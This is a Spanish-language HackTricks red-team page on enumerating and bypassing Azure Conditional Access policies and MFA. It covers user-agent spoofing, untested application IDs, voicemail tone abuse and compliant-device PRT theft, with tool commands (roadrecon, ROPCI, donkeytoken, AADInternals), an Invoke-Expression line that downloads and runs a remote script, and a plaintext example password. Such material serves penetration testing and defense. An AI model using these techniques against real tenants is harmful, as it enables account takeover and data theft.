Az - Conditional Access Policies & MFA Bypass

Tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Información básica

Azure Conditional Access policies son reglas configuradas en Microsoft Azure para aplicar controles de acceso a servicios y aplicaciones de Azure basados en ciertas condiciones. Estas políticas ayudan a las organizaciones a proteger sus recursos aplicando los controles de acceso adecuados en las circunstancias correctas.
Conditional access policies básicamente definen Quién puede acceder Qué desde Dónde y Cómo.

Aquí hay un par de ejemplos:

  1. Sign-In Risk Policy: Esta política podría configurarse para requerir autenticación multifactor (MFA) cuando se detecte un riesgo en el inicio de sesión. Por ejemplo, si el comportamiento de inicio de sesión de un usuario es inusual en comparación con su patrón habitual, como iniciar sesión desde otro país, el sistema puede solicitar una autenticación adicional.
  2. Device Compliance Policy: Esta política puede restringir el acceso a servicios de Azure solamente a dispositivos que cumplan con los estándares de seguridad de la organización. Por ejemplo, el acceso podría permitirse solo desde dispositivos que tengan el antivirus actualizado o que ejecuten una versión determinada del sistema operativo.

Enumeración

# Get all the policies from Azure without needing any special permission with (idea from https://github.com/LuemmelSec/APEX/blob/main/APEX.ps1)
az rest --method GET --uri 'https://graph.windows.net/<tenant-id>/policies?api-version=1.61-internal' | jq '.value[] | select(.policyType == 18) | {displayName, policyDetail: (.policyDetail[] | fromjson)}'

# You need Policy.Read.ConditionalAccess or Policy.Read.All permission in Entra ID
az rest --method get --uri "https://graph.microsoft.com/beta/identity/conditionalAccess/policies"

Evasión de Políticas de Acceso Condicional

Es posible que una política de acceso condicional esté comprobando información que puede manipularse fácilmente, permitiendo así evadir la política. Y, por ejemplo, si la política configuraba MFA, el atacante podrá eludirla.

Al configurar una política de acceso condicional es necesario indicar los usuarios afectados y los recursos objetivo (como todas las aplicaciones en la nube).

También hay que configurar las condiciones que activarán la política:

  • Network: IP, rangos de IP y ubicaciones geográficas
  • Puede eludirse usando un VPN o Proxy para conectarse desde un país permitido o logrando iniciar sesión desde una IP permitida
  • Microsoft risks: User risk, Sign-in risk, Insider risk
  • Device platforms: Any device o seleccionar Android, iOS, Windows phone, Windows, macOS, Linux
  • Si “Any device” no está seleccionado pero sí están seleccionadas todas las otras opciones, es posible evadirlo usando un user-agent aleatorio no relacionado con esas plataformas
  • Client apps: Las opciones son “Browser”, “Mobiles apps and desktop clients”, “Exchange ActiveSync clients” y “Other clients”
  • Para evadir, iniciar sesión con una opción no seleccionada
  • Filter for devices: Es posible generar una regla relacionada con el dispositivo usado
  • Authentication flows: Las opciones son “Device code flow” y “Authentication transfer”
  • Esto no afectará a un atacante a menos que esté intentando abusar de alguno de esos protocolos en un intento de phishing para acceder a la cuenta de la víctima

Los posibles resultados son: Bloquear o Conceder acceso con condiciones potenciales como requerir MFA, que el dispositivo sea compliant…

Device Platforms - Device Condition

Es posible establecer una condición basada en la plataforma del dispositivo (Android, iOS, Windows, macOS…), sin embargo, esto se basa en el user-agent, por lo que es fácil de eludir. Incluso forzando MFA en todas las opciones, si usas un user-agent que no sea reconocido, podrás evadir el MFA o el bloqueo:

Simplemente hacer que el navegador envíe un user-agent desconocido (por ejemplo Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile) es suficiente para no activar esta condición.
Puedes cambiar el user agent manualmente en las developer tools:

O usar una browser extension like this one.

Locations: Countries, IP ranges - Device Condition

Si esto está configurado en la política condicional, un atacante podría simplemente usar un VPN en el país permitido o intentar encontrar una forma de acceder desde una IP permitida para eludir estas condiciones.

Cloud Apps

Es posible configurar políticas de acceso condicional para bloquear o forzar por ejemplo MFA cuando un usuario intenta acceder a una aplicación específica:

Para intentar evadir esta protección deberías ver si puedes iniciar sesión en cualquier aplicación.
La herramienta AzureAppsSweep tiene decenas de application IDs hardcoded y probará iniciar sesión en ellas; te informará e incluso te dará el token si tiene éxito.

Para probar application IDs específicos en recursos concretos también puedes usar una herramienta como:

roadrecon auth -u user@email.com -r https://outlook.office.com/ -c 1fec8e78-bce4-4aaf-ab1b-5451cc387264 --tokens-stdout

<token>

Además, también es posible proteger el método de inicio de sesión (p. ej., si intentas iniciar sesión desde el navegador o desde una aplicación de escritorio). La herramienta Invoke-MFASweep realiza algunas comprobaciones para intentar bypassear también estas protecciones.

La herramienta donkeytoken también puede usarse con fines similares, aunque parece no estar mantenida.

La herramienta ROPCI también puede usarse para probar estas protecciones y ver si es posible bypassear MFAs o bloqueos, pero esta herramienta funciona desde una whitebox perspective. Primero necesitas descargar la lista de Apps allowed in the tenant y luego intentará iniciar sesión en ellas.

Otros Az MFA Bypasses

Tono de llamada

Una opción de Azure MFA es recibir una llamada en el número de teléfono configurado, donde se le pedirá al usuario que envíe el carácter #.

Caution

Como los caracteres son simplemente tonos, un atacante podría comprometer el voicemail del número de teléfono, configurar como mensaje el tono de # y entonces, al solicitar el MFA, asegurarse de que el teléfono de la víctima esté ocupado (llamándolo) para que la llamada de Azure se redirija al buzón de voz.

Compliant Devices

Las políticas a menudo exigen un dispositivo compliant o MFA, por lo que un atacante podría registrar un dispositivo compliant, obtener un PRT y bypassear de este modo el MFA.

Empieza registrando un dispositivo compliant en Intune, luego obtén el PRT con:

$prtKeys = Get-AADIntuneUserPRTKeys - PfxFileName .\<uuid>.pfx -Credentials $credentials

$prtToken = New-AADIntUserPRTToken -Settings $prtKeys -GertNonce

Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken

<token returned>

Encuentra más información sobre este tipo de ataque en la siguiente página:

Az - Primary Refresh Token (PRT)

Herramientas

AzureAppsSweep

Este script obtiene algunas credenciales de usuario y verifica si puede iniciar sesión en algunas aplicaciones.

Esto es útil para ver si no se te exige MFA para iniciar sesión en algunas aplicaciones que podrías posteriormente abusar para escalar privilegios.

roadrecon

Obtiene todas las políticas

roadrecon plugin policies

Invoke-MFASweep

MFASweep es un script de PowerShell que intenta iniciar sesión en varios servicios de Microsoft usando un conjunto provisto de credenciales y tratará de identificar si MFA está habilitado. Dependiendo de cómo estén configuradas las conditional access policies y otras configuraciones de MFA, algunos protocolos pueden terminar quedando con un solo factor. También realiza una comprobación adicional de las configuraciones de ADFS y puede intentar iniciar sesión en el servidor ADFS on-prem si se detecta.

Invoke-Expression (Invoke-WebRequest -Uri "https://raw.githubusercontent.com/dafthack/MFASweep/master/MFASweep.ps1").Content
Invoke-MFASweep -Username <username> -Password <pass>

ROPCI

Esta herramienta ha ayudado a identificar bypasses de MFA y luego a abusar de APIs en múltiples tenants de AAD en producción, donde los clientes de AAD creían tener MFA aplicado, pero la autenticación basada en ROPC tuvo éxito.

Tip

Necesitas permisos para listar todas las aplicaciones para poder generar la lista de aplicaciones a brute-force.

./ropci configure
./ropci apps list --all --format json -o apps.json
./ropci apps list --all --format json | jq -r '.value[] | [.displayName,.appId] | @csv' > apps.csv
./ropci auth bulk -i apps.csv -o results.json

donkeytoken

Donkey token es un conjunto de funciones cuyo objetivo es ayudar a consultores de seguridad que necesitan validar Conditional Access Policies, realizar pruebas en 2FA-enabled Microsoft portals, etc..

git clone https://github.com/silverhack/donkeytoken.git
Import-Module '.\donkeytoken' -Force

Prueba cada portal si es posible iniciar sesión sin MFA:

$username = "conditional-access-app-user@azure.hacktricks-training.com"
$password = ConvertTo-SecureString "Poehurgi78633" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential($username, $password)
Invoke-MFATest -credential $cred -Verbose -Debug -InformationAction Continue

Debido a que el Azure portal no está restringido, es posible obtener un token desde el endpoint del portal para acceder a cualquier servicio detectado por la ejecución anterior. En este caso se identificó Sharepoint, y se solicita un token para acceder a él:

$token = Get-DelegationTokenFromAzurePortal -credential $cred -token_type microsoft.graph -extension_type Microsoft_Intune
Read-JWTtoken -token $token.access_token

Suponiendo que el token tiene el permiso Sites.Read.All (desde Sharepoint), aunque no pueda acceder a Sharepoint desde la web debido a MFA, es posible usar el token para acceder a los archivos con el token generado:

$data = Get-SharePointFilesFromGraph -authentication $token $data[0].downloadUrl

Referencias

Tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks